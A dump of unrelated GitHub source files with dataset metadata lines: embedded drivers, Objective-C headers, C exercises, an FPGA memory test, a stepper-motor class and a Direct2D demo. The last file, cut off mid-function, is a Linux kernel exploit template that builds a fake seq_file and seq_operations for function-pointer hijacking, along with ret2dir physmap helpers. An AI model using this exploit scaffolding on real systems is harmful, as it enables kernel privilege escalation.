FLASH_CTRL_O_FCMISC) = ulIntFlags; } //***************************************************************************** // // Close the Doxygen group. //! @} // //*****************************************************************************
FreeRTOS/FreeRTOS
FreeRTOS/Demo/CORTEX_M4_SimpleLink_CC3220SF_CCS/ti/devices/cc32xx/driverlib/flash.c
flash.c
c
24,350
c
en
code
4,181
github-code
54
42087765665
// // USCSceneManage.h // nlu&asr // // Created by yunzhisheng-zy on 14-12-10. // Copyright (c) 2014年 usc. All rights reserved. // #import <Foundation/Foundation.h> @class USCRecoginizerParam,USCScene; // @class - 场景管理类 // @brief - 负责管理场景相关内容 @interface USCSceneManage : NSObject /** * 上传场景 * * @param sceneName 场景名 * @param sceneData 场景数据 * @param delegate 代理 */ - (void)uploadSceneData:(NSString *)sceneName sceneData:(NSArray *)sceneData lister:(id)delegate; /** * 设置识别参数对象 * * @param params 参数 */ - (void)setParams:(USCRecoginizerParam *)params; /** * 根据场景名字找场景 * * @param name 场景名 * * @return 场景对象 */ - (USCScene *)fineScene:(NSString *)name; /** * 获取已经上传的场景格式 * * @return 个数 */ - (int)getSceneCount; @end
pxhmeiyangyang/USC_SDK_PXH
sourcecode(occode)/Scene/USCSceneManage.h
USCSceneManage.h
h
889
c
zh
code
0
github-code
54
37913913116
#include "main.h" /** *_strncat - function that concatenates two strings, will use at most n bytes *from src and src does not need to be null terminated *@dest: The string to be appended *@n: the number of bytes from src to append to dest *@src: the string to append to dest *Return: Pointer to string dest */ char *_strncat(char *dest, char *src, int n) { int i = 0; int length = 0; while (dest[i++]) length++; for (i = 0; src[i] && i < n; i++) dest[length++] = src[i]; return (dest); }
Hesemu/alx-low_level_programming
0x06-pointers_arrays_strings/1-strncat.c
1-strncat.c
c
502
c
en
code
0
github-code
54
41145248780
// // MenuBarViewController.h // SayHi // // Created by weidongcao on 2020/8/24. // Copyright © 2020 weidongcao. All rights reserved. // #import <Cocoa/Cocoa.h> NS_ASSUME_NONNULL_BEGIN @protocol MenuBarDelegate <NSObject> -(void)eventFromMenuBarView:(NSDictionary *)event; @end @interface MenuBarViewController : NSViewController { IBOutlet NSButton *msgBtn; IBOutlet NSButton *contactBtn; IBOutlet NSButton *configBtn; } @property (weak) id<MenuBarDelegate> delegate; -(IBAction)msgBtnAction:(id)sender; -(IBAction)contactBtnAction:(id)sender; -(IBAction)configBtnAction:(id)sender; @end NS_ASSUME_NONNULL_END
detaili/SayHi
SayHi/MainViewController/MenuBarViewController/MenuBarViewController.h
MenuBarViewController.h
h
638
c
en
code
0
github-code
54
71784196643
/* * --------------------------------- * Student Name: Levi Van Veen * Student ID: 200852490 * Student Email: [email protected] * --------------------------------- */ #include <stdio.h> # include <string.h> # include <ctype.h> # include <math.h> # include <stdlib.h> # include "A4.h" //-------------------------Task 1 ---------------------------- void update_array(int **array, const int size, int multiplier) { if (multiplier <= 0) { printf("Error (update_array): invalid multiplier\n"); return; } if (multiplier == 1) return; int temp = 0, j = size; *array = (int*) realloc(*array, (sizeof(**array) * size * multiplier) + 1); for (int i = 0; i < size * multiplier + 1; i++) { *(*array + j) = *(*array + i); j++; } j = 0; for (int i = 0; i < size * multiplier + 1; i++) { if (i % multiplier == 0) { temp = *(*array + ((size * multiplier) - size + j)); j++; } *(*array + i) = temp; } return; } //-------------------------Task 2 ---------------------------- void format_city(char *city) { int i = 1, space = False; if (islower(city[0])) city[0] = toupper(city[0]); for (i = 1; i < MAX; i++) { if (isspace(city[i])) { city[i] = toupper(city[i + 1]); i++; space = True; break; } } while (space && i < MAX) { if (isalpha(city[i + 1])) { city[i] = city[i + 1]; } else city[i] = '\0'; i++; } return; } void format_cities(char city_array[][MAX], const int size) { if (size < 1) { printf("Error(format_cities): invalid size\n"); return; } if (!city_array) { printf("Error(format_cities): array is NULL\n"); return; } int i = 0; for (i = 0; i < size; i++) { format_city(city_array[i]); } return; } //-------------------------Task 3 ---------------------------- void format_str(const char *inStr, char *outStr) { /* * String Length = 0 After middle caps = After split = After First half reverse = After Second half reverse = */ //Finding string length int i = 0, length = strlen(inStr); printf(" String Length = %d\n", length); //Middle Caps for (i = 0; i < length; i++) { outStr[i] = toupper(inStr[i]); } outStr[0] = tolower(inStr[0]); outStr[length - 1] = tolower(inStr[length - 1]); printf(" After middle caps = "); for (i = 0; i < length; i++) printf("%c", outStr[i]); printf("\n"); //Split for (i = length + 1; i > (length / 2); i--) { outStr[i] = outStr[i - 1]; } outStr[i] = ' '; printf(" After split = "); for (i = 0; i < length + 1; i++) printf("%c", outStr[i]); printf("\n"); //Reverse Left Side char temp; for (i = 0; i < (length / 4); i++) { temp = outStr[i]; outStr[i] = outStr[(length / 2) - i - 1]; outStr[(length / 2) - i - 1] = temp; } printf(" After First half reverse = "); for (i = 0; i < length + 1; i++) printf("%c", outStr[i]); printf("\n"); //Reverse Right Side length++; int j = 0, mid = length / 2; if (length % 2 == 0) { for (i = mid + (length % 2); i < mid + (length / 4); i++) { temp = outStr[i]; outStr[i] = outStr[length - 1 - j]; outStr[length - 1 - j] = temp; j++; } } else { for (i = mid + (length % 2); i <= mid + (length / 4); i++) { temp = outStr[i]; outStr[i] = outStr[length - 1 - j]; outStr[length - 1 - j] = temp; j++; } } printf(" After Second half reverse = "); for (i = 0; i < length; i++) printf("%c", outStr[i]); printf("\n"); return; } //-------------------------Task 4 ---------------------------- int* get_multiples_array1(int *multiples, const int size) { if (!multiples) { printf("Error(get_multiples_array1): invalid array\n"); return NULL; } if (size <= 0) { printf("Error(get_multiples_array1): invalid size\n"); return NULL; } int i = 0, temp, column = 10, j = 0, count = 1; int *multArry; multArry = (int*) malloc(size * column * sizeof(int)); for (i = 0; i < size * column; i++) { if (i % 10 == 0) { temp = multiples[j]; j++; count = 1; } if (temp * count < 1000) { multArry[i] = temp * count; } else multArry[i] = 0; count++; } return multArry; } void print_multiples1(int *array, const int size) { if (!array) { printf("Error(print_multiples1): invalid array\n"); return; } if (size <= 0) { printf("Error(print_multiples1): invalid size\n"); return; } for (int i = 0; i < size * 10; i++) { if ((i + 1) % 10 == 0) printf("%3d", array[i]); else printf("%3d ", array[i]); if ((i + 1) % 10 == 0) printf("\n"); } return; } //-------------------------Task 5 ---------------------------- int** get_multiples_array2(int *multiples, const int size) { if (!multiples) { printf("Error(get_multiples_array2): invalid array\n"); return NULL; } if (size <= 0) { printf("Error(get_multiples_array2): invalid size\n"); return NULL; } int col = 10, i = 0, j = 0, temp = 1; int **multArr = (int**) malloc(size * sizeof(int*)); for (i = 0; i < size; i++) multArr[i] = (int*) malloc(col * sizeof(int)); for (i = 0; i < size; i++) { for (j = 0; j < col; j++) { if (temp * multiples[i] < 1000) multArr[i][j] = temp * multiples[i]; else multArr[i][j] = 0; temp++; } temp = 1; } return multArr; } void print_multiples2(int **array, const int size) { if (!array) { printf("Error(print_multiples2): invalid array\n"); return; } if (size <= 0) { printf("Error(print_multiples2): invalid size\n"); return; } int i = 0, j = 0; for (i = 0; i < size; i++) { for (j = 0; j < 10; j++) { if (j == 9) printf("%3d", array[i][j]); else printf("%3d ", array[i][j]); } printf("\n"); } return; }
levivanveen/CP264
A4/A4.c
A4.c
c
5,884
c
en
code
0
github-code
54
74322169121
Action() { lr_start_transaction("Tran1"); web_url("52.39.153.71", "URL=http://52.39.153.71/", "Resource=0", "RecContentType=text/html", "Referer=", "Snapshot=t1.inf", "Mode=HTML", LAST); lr_end_transaction("Tran1", LR_AUTO); lr_start_transaction("Tran2"); web_url("secondPage.html", "URL=http://52.39.153.71/secondPage.html", "Resource=0", "RecContentType=text/html", "Referer=http://52.39.153.71/", "Snapshot=t2.inf", "Mode=HTML", LAST); lr_end_transaction("Tran2", LR_AUTO); return 0; }
Rogozai/SRL-Script
Peace_web_2Trans_52.39.153.71/Action.c
Action.c
c
569
c
en
code
0
github-code
54
5963298369
#include "uintN_t.h" // LEDs for debug/output #include "leds/leds_port.c" #include "buttons/buttons.c" // Include logic for Xilinx Memory Interface Generator w/ AXI interface #include "axi_xil_mem.c" // Example memory test that writes a test pattern // and then reads the same data back #define TEST_DATA_SIZE 4 // Single 32b AXI word #define TEST_ADDR_MAX (XIL_MEM_ADDR_MAX-TEST_DATA_SIZE+1) typedef enum mem_test_state_t { WAIT_RESET, WRITES, READS, FAILED }mem_test_state_t; // The memory test process, same clock as generated memory interface MAIN_MHZ(app, XIL_MEM_MHZ) void app() { // State registers static mem_test_state_t mem_test_state; static axi_addr_t test_addr; static uint32_t test_data; // Output wire into memory controller, default zeros app_to_xil_mem = NULL_APP_TO_XIL_MEM; // Next values axi_addr_t next_addr = test_addr + TEST_DATA_SIZE; uint32_t next_test_data = test_data + 1; // Memory reset/calbration signalling uint1_t mem_rst_done = (buttons==0) & !xil_mem_to_app.ui_clk_sync_rst & xil_mem_to_app.init_calib_complete; // MEM TEST FSM if(mem_test_state==WAIT_RESET) { leds = 0; // Wait for DDR reset+calibration to be done if(mem_rst_done) { // Start test mem_test_state = WRITES; test_addr = 0; test_data = 0; } } else if(mem_test_state==WRITES) { leds = 0b0011; // Use logic for AXI write of single 32b word // (slow, not burst and waits for response) axi32_write_logic_outputs_t axi32_write_logic_outputs = axi32_write_logic(test_addr, test_data, 1, xil_mem_to_app.axi_dev_to_host); // Write logic drives AXI bus app_to_xil_mem.axi_host_to_dev = axi32_write_logic_outputs.to_dev; // Wait for write to finish if(axi32_write_logic_outputs.done) { // Update test data for next iter test_data = next_test_data; if(test_addr < TEST_ADDR_MAX) { // Next test address test_addr = next_addr; } else { // Done with address space // Begin test of reads test_addr = 0; test_data = 0; mem_test_state = READS; } } } else if(mem_test_state==READS) { leds = 0b1100; // Use logic for AXI read of single 32b word // (slow, not burst and waits for response) axi32_read_logic_outputs_t axi32_read_logic_outputs = axi32_read_logic(test_addr, 1, xil_mem_to_app.axi_dev_to_host); // Read logic drives AXI bus app_to_xil_mem.axi_host_to_dev = axi32_read_logic_outputs.to_dev; // Wait for read to finish if(axi32_read_logic_outputs.done) { // Compare read data vs expected test data if(axi32_read_logic_outputs.data == test_data) { // Good compare, update test data for next iter test_data = next_test_data; if(test_addr < TEST_ADDR_MAX) { // Next test address test_addr = next_addr; } else { // Done with test, passed, repeat test mem_test_state = WAIT_RESET; } } else { // Bad compare, test failed, stop mem_test_state = FAILED; } } } else { // FAILED leds = 0b1111; } // Resets if(!mem_rst_done) { mem_test_state = WAIT_RESET; } }
JulianKemmerer/PipelineC
examples/axi/axi_ddr_host.c
axi_ddr_host.c
c
3,343
c
en
code
498
github-code
54
72976909920
$NetBSD: patch-src_tcpconns.c,v 1.5 2015/08/11 13:19:21 he Exp $ Include <sys/param.h> --- src/tcpconns.c.orig 2015-05-20 12:04:47.191035542 +0000 +++ src/tcpconns.c @@ -948,6 +948,7 @@ static int conn_init (void) return (0); } /* int conn_init */ +#include <sys/param.h> static int conn_read (void) { struct inpcbtable table;
NetBSD/pkgsrc-wip
stackdriver-collectd/patches/patch-src_tcpconns.c
patch-src_tcpconns.c
c
340
c
en
code
61
github-code
54
13222397872
/* * StepperDM542 class * * Control a DM542 to move a Stepper Motor implemented with a home sensor * and position control after homed. * * Author: Speed Muller, 2023.05.14 */ #define BOTPOS 1300 #define MAXPOS 24000 class StepperDM542 { private: uint8_t u8StepOutputPin; uint8_t u8DirOutputPin; uint8_t u8HomeInputPin; bool bPinHigh; uint32_t u32StepsSoFar = 0; uint32_t u32CommandedPos = 1; uint32_t u32CurrentPos = 1; bool bRunning = false; bool bHomed = false; bool bIsHoming = false; // continue to run backwords until "home" is found bool bAtHome = false; // away from home by default unsigned long ulTimeoutOn; unsigned long ulTimeoutOff; unsigned long ulPrevious; // Write pin HI void writeHi( ) { digitalWrite( u8StepOutputPin, HIGH ); bPinHigh = true; } // void writeHi( ) // Write pin LOW void writeLo( ) { digitalWrite( u8StepOutputPin, LOW ); bPinHigh = false; } // void writeLo( ) // Read and write the opposite void toggle( ) { digitalWrite( u8StepOutputPin, !digitalRead( u8StepOutputPin ) ); } // void toggle( ) public: /* * Constructor */ StepperDM542( uint8_t u8TheStepPin, uint8_t u8TheHomePin, uint8_t u8TheDirPin, unsigned long ulTheTimeoutOn, unsigned long ulTheTimeoutOff ) { u8StepOutputPin = u8TheStepPin; u8DirOutputPin = u8TheDirPin; u8HomeInputPin = u8TheHomePin; ulTimeoutOn = ulTheTimeoutOn; ulTimeoutOff = ulTheTimeoutOff; bPinHigh = false; u32StepsSoFar = 0; u32CommandedPos = 2; u32CurrentPos = 2; bRunning = false; bIsHoming = false; bHomed = false; bAtHome = false; } // constructor void Heartbeat( uint8_t, unsigned long, unsigned long ) /* * Set the pins and variables up */ void begin( ) { ulPrevious = millis( ); pinMode( u8StepOutputPin, OUTPUT ); pinMode( u8DirOutputPin, OUTPUT ); pinMode( u8HomeInputPin, INPUT_PULLUP ); writeLo( ); // let's begin with off bAtHome = false; // don't assume at home bIsHoming = false; bHomed = false; u32StepsSoFar = 0; u32CommandedPos = 3; u32CurrentPos = 3; // assume zero, but not at thome } // void begin ( ) /* * Return true if homing */ bool isHoming( ) { return bIsHoming; } // bool isHoming( ) /* * Let's go home */ void goHome( ) { u32StepsSoFar = 0; if( bHomed ) { setCommandedPosition( 0 ); Serial.println( "Go to zero!" ); } else { bIsHoming = true; u32CommandedPos = 0; u32StepsSoFar = 0; Serial.println( "Find home..." ); } // if previously homed } // void goHome( ) /* * void cancel homing */ void cancelHome( ) { bIsHoming = false; } // void cancelHome( ) /* * Move away from home to away position */ void goToAway( ) { u32StepsSoFar = 0; if( bHomed ) { bIsHoming = false; setCommandedPosition( BOTPOS ); } // if and only if homed before } // void goToAway( ) /* * Set position to go to (limited to MAXSTEPS) */ int32_t setCommandedPosition( uint32_t u32ThePos ) { u32StepsSoFar = 0; Serial.println( u32CurrentPos ); Serial.println( u32CommandedPos ); Serial.println( u32ThePos ); if( u32ThePos <= BOTPOS ) { u32CommandedPos = u32ThePos; } else { Serial.println( F( "Not moving!" ) ); return 0; } // if room to move Serial.print( F( "Going from " ) ); Serial.print( u32CurrentPos ); Serial.print( F( " to " ) ); Serial.print( u32CommandedPos ); Serial.print( F( ", w/steps: [" ) ); int32_t i32Steps = (int32_t)u32CommandedPos - (int32_t)u32CurrentPos; char buffer[80]; sprintf( buffer, "%li", i32Steps ); Serial.print( buffer ); Serial.println( F( "]" ) ); return i32Steps; } // int32_t setCommandedPosition( uint32_t ) /* * Stop right there and then */ void stop( ) { bIsHoming = false; u32CommandedPos = u32CurrentPos; u32StepsSoFar = 0; } // void stop( ) /* * Get some debug info */ void printState( ) { Serial.print( F( "At: " ) ); Serial.print( u32CurrentPos ); Serial.print( F( ", going to " ) ); Serial.print( u32CommandedPos ); Serial.print( F( ", thus far: " ) ); Serial.print( u32StepsSoFar ); Serial.print( F( ", homed: " ) ); Serial.println( bHomed ? "y" : "n" ); } // void printState( ) /* * Return how for to go */ int32_t getStepsToGo( ) { return u32CommandedPos - u32CurrentPos; } // int32_t getStepsToGo( ) /* * Check state, and then if it is time, and then toggle if so */ void update( ) { bool bGoingForward = true; // moving away from home by default unsigned long ulNow = millis( ); bAtHome = !digitalRead( u8HomeInputPin ); // active low if( bAtHome ) { if( u32CommandedPos > 0 ) { } else { u32CurrentPos = 0; } // only zero if heading towards home } // if home if( bIsHoming ) { if( bAtHome ) { bIsHoming = false; bHomed = true; u32CurrentPos = 0; } else { u32CurrentPos = 4; u32CommandedPos = 0; } // if at home } // if homing if( u32StepsSoFar >= MAXPOS ) { u32CurrentPos = u32CommandedPos; } // if too far! bGoingForward = u32CommandedPos >= u32CurrentPos; digitalWrite( u8DirOutputPin, bGoingForward ); if( u32CurrentPos == u32CommandedPos ) { if( bRunning ) { Serial.println( "done" ); bRunning = false; } } else { if( bPinHigh ) { if( ulNow - ulPrevious > ulTimeoutOn ) { ulPrevious = ulNow; if( u32CurrentPos > u32CommandedPos ) { u32CurrentPos--; } else { u32CurrentPos++; } writeLo( ); } // if } else { if( ulNow - ulPrevious > ulTimeoutOff ) { ulPrevious = ulNow; writeHi( ); u32StepsSoFar++; } // if } // else bRunning = true; } // if pulses to go } // void update( ) }; // class StepperDM542
nambabwe/other
ML202301_RMCCoalDump/StepperDM542.h
StepperDM542.h
h
6,267
c
en
code
1
github-code
54
74761715362
#pragma once // Modify the following defines if you have to target a platform prior to the ones specified below. // Refer to MSDN for the latest info on corresponding values for different platforms. #ifndef WINVER // Allow use of features specific to Windows XP or later. #define WINVER 0x0501 // Change this to the appropriate value to target other versions of Windows. #endif #ifndef _WIN32_WINNT // Allow use of features specific to Windows XP or later. #define _WIN32_WINNT 0x0501 // Change this to the appropriate value to target other versions of Windows. #endif #ifndef _WIN32_WINDOWS // Allow use of features specific to Windows 98 or later. #define _WIN32_WINDOWS 0x0410 // Change this to the appropriate value to target Windows Me or later. #endif #ifndef _WIN32_IE // Allow use of features specific to IE 6.0 or later. #define _WIN32_IE 0x0600 // Change this to the appropriate value to target other versions of IE. #endif #ifndef UNICODE #define UNICODE #endif #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers #define TOP_BOX_WIDTH 50 #define DOWN_BOX_WIDTH 200 // #define BOX_HEIGHT 100 #define MAX_COUNT 8 #include <stdlib.h> #include <malloc.h> #include <memory.h> #include <tchar.h> #include <math.h> #include <time.h> #include <string> #include <d2d1.h> #include <d2d1helper.h> #include <dwrite.h> #include <wincodec.h> #include <vector> #include <iterator> /* vector */ #include <algorithm> /* sort */ /* Macros */ template<class Interface> inline void SafeRelease( Interface** ppInterfaceToRelease ) { if (*ppInterfaceToRelease != NULL) { (*ppInterfaceToRelease)->Release(); (*ppInterfaceToRelease) = NULL; } } #ifndef Assert #if defined( DEBUG ) || defined( _DEBUG ) #define Assert(b) do {if (!(b)) {OutputDebugStringA("Assert: " #b "\n");}} while(0) #else #define Assert(b) #endif //DEBUG || _DEBUG #endif #ifndef HINST_THISCOMPONENT EXTERN_C IMAGE_DOS_HEADER __ImageBase; #define HINST_THISCOMPONENT ((HINSTANCE)&__ImageBase) #endif #ifndef ARRAY_SIZE #define ARRAY_SIZE(x) (sizeof(x)/sizeof(x[0])) #endif /* DemoApp */ class DemoApp { public: DemoApp(); ~DemoApp(); // Register the window class and call methods for instantiating drawing resources HRESULT Initialize(); // Process and dispatch messages void RunMessageLoop(); private: // Initialize device-independent resources HRESULT CreateDeviceIndependentResources(); // Initialize device-dependent resources HRESULT CreateDeviceResources(); HRESULT CreateGridPatternBrush( ID2D1RenderTarget* pRenderTarget, ID2D1BitmapBrush** ppBitmapBrush ); // Release device-dependent resources void DiscardDeviceResources(); // Draw content HRESULT OnRender(); // Resize the render target void OnResize( UINT width, UINT height ); void GetRate(); // Translate void DrawBox(); // The windows procedure static LRESULT CALLBACK WndProc( HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam ); private: HWND m_hwnd; ID2D1Factory* m_pD2DFactory; ID2D1HwndRenderTarget* m_pRenderTarget; ID2D1StrokeStyle* m_pStrokeStyleDash; ID2D1SolidColorBrush* m_pOriginalShapeBrush[MAX_COUNT]; ID2D1SolidColorBrush* m_pFillBrush; ID2D1SolidColorBrush* m_pTopBrush; ID2D1SolidColorBrush* m_pTextBrush; ID2D1SolidColorBrush* m_pTextBrush2; ID2D1BitmapBrush* m_pGridPatternBitmapBrush; //DWrite IDWriteFactory* m_pDWriteFactory; IDWriteTextFormat* m_pTextFormat; };
hotbreakb/Game-Programing
HW2/stdafx.h
stdafx.h
h
3,486
c
en
code
1
github-code
54
30002332726
#include "lstf-stringtype.h" #include "data-structures/iterator.h" #include "data-structures/ptr-list.h" #include "lstf-codevisitor.h" #include "lstf-codenode.h" #include "lstf-datatype.h" #include "lstf-sourceref.h" #include "lstf-uniontype.h" #include <stdbool.h> #include <stdio.h> #include <string.h> #include <stdlib.h> static void lstf_stringtype_accept(lstf_codenode *node, lstf_codevisitor *visitor) { lstf_codevisitor_visit_data_type(visitor, (lstf_datatype *)node); } static void lstf_stringtype_accept_children(lstf_codenode *node, lstf_codevisitor *visitor) { (void) node; (void) visitor; } static void lstf_stringtype_destruct(lstf_codenode *node) { lstf_datatype_destruct((lstf_datatype *)node); } static const lstf_codenode_vtable stringtype_vtable = { lstf_stringtype_accept, lstf_stringtype_accept_children, lstf_stringtype_destruct }; static bool lstf_stringtype_is_supertype_of(lstf_datatype *self, lstf_datatype *other) { if (other->datatype_type == lstf_datatype_type_stringtype) return true; if (other->datatype_type == lstf_datatype_type_uniontype) { for (iterator it = ptr_list_iterator_create(lstf_uniontype_cast(other)->options); it.has_next; it = iterator_next(it)) { if (!lstf_datatype_is_supertype_of(self, iterator_get_item(it))) return false; } return true; } return false; } static lstf_datatype *lstf_stringtype_copy(lstf_datatype *self) { return lstf_stringtype_new(&((lstf_codenode *)self)->source_reference); } static char *lstf_stringtype_to_string(lstf_datatype *self) { (void) self; return strdup("string"); } static const lstf_datatype_vtable stringtype_datatype_vtable = { lstf_stringtype_is_supertype_of, lstf_stringtype_copy, lstf_stringtype_to_string, /* add_type_parameter = */ NULL, /* replace_type_parameter = */ NULL }; lstf_datatype *lstf_stringtype_new(const lstf_sourceref *source_reference) { lstf_stringtype *string_type = calloc(1, sizeof *string_type); if (!string_type) { perror("failed to create lstf_stringtype"); abort(); } lstf_datatype_construct((lstf_datatype *)string_type, &stringtype_vtable, source_reference, lstf_datatype_type_stringtype, &stringtype_datatype_vtable); return (lstf_datatype *)string_type; }
Prince781/lstf
src/compiler/lstf-stringtype.c
lstf-stringtype.c
c
2,409
c
zh
code
2
github-code
54
9401925244
#pragma once class CBitMap { private: HDC m_hdc; HDC m_MemDC; HBITMAP m_Bitmap; HBITMAP m_OldBitmap; public: CBitMap* LoadBmp(TCHAR* pFilename); HDC GetMemDC(void); void Release(void); public: CBitMap(void); ~CBitMap(void); };
Erikares/maplestory_imitation
BitMap.h
BitMap.h
h
265
c
en
code
0
github-code
54
70834645603
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* b_cd.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: jmathieu <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2023/06/13 16:31:16 by jmathieu #+# #+# */ /* Updated: 2023/09/25 13:08:04 by jmathieu ### ########.fr */ /* */ /* ************************************************************************** */ #include "../../include/minishell.h" static char *check_str_cd(t_shell *mini, t_token *list) { char *tmp_path; if (ft_strncmp(list->s, "-", 1) == 0 && list->s[1] == 0) tmp_path = folder1(mini); else if (ft_strncmp(list->s, "~", 1) == 0) tmp_path = folder2(mini, list); else tmp_path = ft_strdup(list->s); return (tmp_path); } void next_cd_step(t_shell *mini, t_token *list, char *cur_dir) { char *tmp_path; if (ft_strncmp(list->s, "..", 2) != 0) { tmp_path = check_str_cd(mini, list); if (ft_strncmp(tmp_path, "HOME", 4) == 0 || ft_strncmp(tmp_path, "OLDPWD", 6) == 0) { mini->rtn = 1; ft_putstr_fd("minishell: cd: ", STDOUT_FILENO); ft_putstr_fd(tmp_path, STDOUT_FILENO); ft_putstr_fd(" not set\n", STDOUT_FILENO); free_str(tmp_path); free_str(cur_dir); return ; } check_var_status(mini, list, tmp_path, cur_dir); free_str(tmp_path); } else check_var_status(mini, list, list->s, cur_dir); } static int args_before_cd(t_shell *mini, t_token *list) { if (existing_var(mini, "HOME=") == -1) { mini->rtn = 1; ft_putstr_fd("minishell: cd: HOME not set\n", STDOUT_FILENO); return (0); } else { free(list->s); list->s = NULL; list->s = return_var_content(mini, "HOME="); return (1); } } void b_cd(t_shell *mini, t_token *list) { char *cur_dir; cur_dir = getcwd(NULL, 0); if (cur_dir == 0) { free_str(cur_dir); ft_exit_plus(mini, "Not a directory\n", 1); } else if (!list->next || (list->next && list->next->type >= 6)) { if (!args_before_cd(mini, list)) { free_str(cur_dir); return ; } } else list = list->next; next_cd_step(mini, list, cur_dir); }
LcntJulien/minishell
srcs/builtin/b_cd.c
b_cd.c
c
2,544
c
en
code
0
github-code
54
26628701379
/*********************************************************************** * This is a JUCE based computer realization of the Hangman game. * * 17-28 June 2016 * * Copyright (C) 2016 by Andrey N. Kuznetsov, Almaty, Kazakhstan. * * E-mail: [email protected] * * * * This programme is free software; you can redistribute it and/or * * modify it under the terms of the GNU General Public License * * as published by the Free Software Foundation; either version 2 * * of the named License, or any later version. * * * * This program is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * GNU General Public License for more details. * * * * You should have received a copy of the GNU General Public License * * along with this program; if not, write to the Free Software * * Foundation, Inc., 59 Temple Place, Suite 330, Boston, * * MA 02111-1307, USA * ************************************************************************/ #ifndef _TAboutJuceComponent_h_ #define _TAboutJuceComponent_h_ //--------------------------------------------------------------------- #include "../JuceLibraryCode/JuceHeader.h" //--------------------------------------------------------------------- class TAboutJuceComponent : public Component, public ButtonListener { public: TAboutJuceComponent(); ~TAboutJuceComponent(); void paint(Graphics&); void resized(); void buttonClicked(Button*); void LanguageChange(LocalisedStrings&); private: Label* pAboutJuceTitleLabel; Label* pJuceInfoLabel; TextButton* pAcceptButton; Image Juce_Image; String sAboutJuceCaption; String sText; String sAcceptButtonText; TAboutJuceComponent (const TAboutJuceComponent&); const TAboutJuceComponent& operator= (const TAboutJuceComponent&); }; //--------------------------------------------------------------------- #endif
ankuznetsov/jucegames
jbhangman/0.7.1/src/Source/TAboutJuceComponent.h
TAboutJuceComponent.h
h
2,556
c
en
code
2
github-code
54
74334765281
/************************************************************************* > File Name: solution-6.c > Author: > Mail: > Created Time: Sat 30 Mar 2019 02:39:14 AM CST ************************************************************************/ #include<stdio.h> /* Write a program that prints a table with each line giving an integer, its square, and its cube. Ask the user to input the lower and upper limits for the table. Use a for loop. */ int main(void) { int lower_limit, upper_limit; printf("Please enter lower limit: "); scanf("%d", &lower_limit); printf("Please enter upper limit: "); scanf("%d", &upper_limit); for (int i = lower_limit; i <= upper_limit;i++) { printf("%d %d %d\n", i, i * i, i * i * i); } }
Firkraag/c_primer_plus_solution
chapter6/exercise/solution-6.c
solution-6.c
c
767
c
en
code
0
github-code
54
42061920024
#ifndef MURO_H #define MURO_H //#include <irrlicht.h> #include "IDibujable.h" #include <string> #include <vector> #include <fstream> #include <iostream> class Muro : public IDibujable { public: Muro(int posicionX,int posicionY); ~Muro() override; /*ITexture* getTextura() const { return textura; }*/ void Pintar(IVideoDriver*,int,int) override; //void setTextura(ITexture* tex){textura=tex;} bool isTransitable() override; void aplicarTextura(IVideoDriver* driver); void setIsometric(bool iso); private: ITexture *TTexture_Suelo; bool isometric; }; #endif
Calintial/MortalVillager
include/muro.h
muro.h
h
577
c
es
code
1
github-code
54
12558156044
#ifndef VSPEGRAY_H #define VSPEGRAY_H #include "VSPostEffectFunction.h" namespace VSEngine2 { class VSPEGray : public VSPostEffectFunction { //RTTI DECLARE_RTTI; DECLARE_INITIAL public: VSPEGray (const VSUsedName & ShowName,VSPostEffectSet * pPostEffectSet); ~VSPEGray (); virtual VSPostEffectSceneRender * CreateSceneRender(); virtual void OnDraw(VSCuller & Culler,double dAppTime); enum { INPUT_COLOR }; enum { OUT_COLOR }; protected: VSPEGray (); }; DECLARE_Ptr(VSPEGray); VSTYPE_MARCO(VSPEGray); } #endif
79134054/VSEngine2
VSGraphic/VSPEGray.h
VSPEGray.h
h
550
c
en
code
131
github-code
54
5761507888
#include <stdio.h> int mem[31][31] = {0}; long long sol(int n, int m){ if(!n || n>m) return 0; if(n==1) return m; if(n==m) return 1; if(mem[n][m]) return mem[n][m]; mem[n][m] = sol(n, m-1) + sol(n-1, m-1); return mem[n][m]; } int main(void){ int t; scanf("%d", &t); while(t--){ int n, m; long long ans = 1; scanf("%d %d", &n, &m); printf("%lld\n", sol(n, m)); } return 0; }
qilip/ACMStudy
baekjoon/1010/source.c
source.c
c
434
c
uk
code
2
github-code
54
3245927491
/* Copyright (C) 2023 FIAS Frankfurt Institute for Advanced Studies, Frankfurt / Main SPDX-License-Identifier: GPL-3.0-only Authors: Felix Weiglhofer [committer] */ #ifndef CBM_ALGO_BASE_SUBCHAIN_H #define CBM_ALGO_BASE_SUBCHAIN_H #include <gsl/pointers> #include "ChainContext.h" namespace cbm::algo { class SubChain { public: void SetContext(ChainContext* ctx) { fContext = ctx; } const Options& Opts() const { return gsl::make_not_null(fContext)->opts; } const RecoParams& Params() const { return gsl::make_not_null(fContext)->recoParams; } private: ChainContext* fContext = nullptr; }; } // namespace cbm::algo #endif
fweig/cbmroot
algo/base/SubChain.h
SubChain.h
h
660
c
en
code
0
github-code
54
11824574276
#ifndef _SEQ_FILE_TMPL_H_ #define _SEQ_FILE_TMPL_H_ #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <memory.h> #include <unistd.h> #include <sys/mman.h> #include <sys/syscall.h> // for ret2dir #define PHYS_OFFSET 0xffff880000000000 #define PFN_MIN 0 #define PAGE_SIZE 0x1000 #define USER_ADDR 0x40000000 #define PAGE_SHIFT 12 #define KMALLOC_SIZE 128 #ifdef FENGSHUI1 struct seq_file { char hole1[0x60]; void *op; char hole2[0x18]; }; struct seq_operations { void* start; void* stop; void* next; void* show; }; struct seq_file fake_seq_file; struct seq_operations fake_seq_operations; unsigned overwrite_start = 0x60; unsigned overwrite_end = 0x68; void* victim_obj = (void*)&fake_seq_file; int fd[2]; uint64_t kaddr = 0; void do_setup_physmap() { void* uaddr = (void*)USER_ADDR; void* raddr = NULL; void* ret = NULL; char file_name[30]; sprintf(file_name, "/proc/%d/pagemap", getpid()); int fd = open(file_name, O_RDONLY); if (fd < 0) { perror("open failed"); goto err; } uint64_t v = 0; uint64_t pfn = 0; munmap(uaddr, PAGE_SIZE); raddr = mmap(uaddr, PAGE_SIZE, 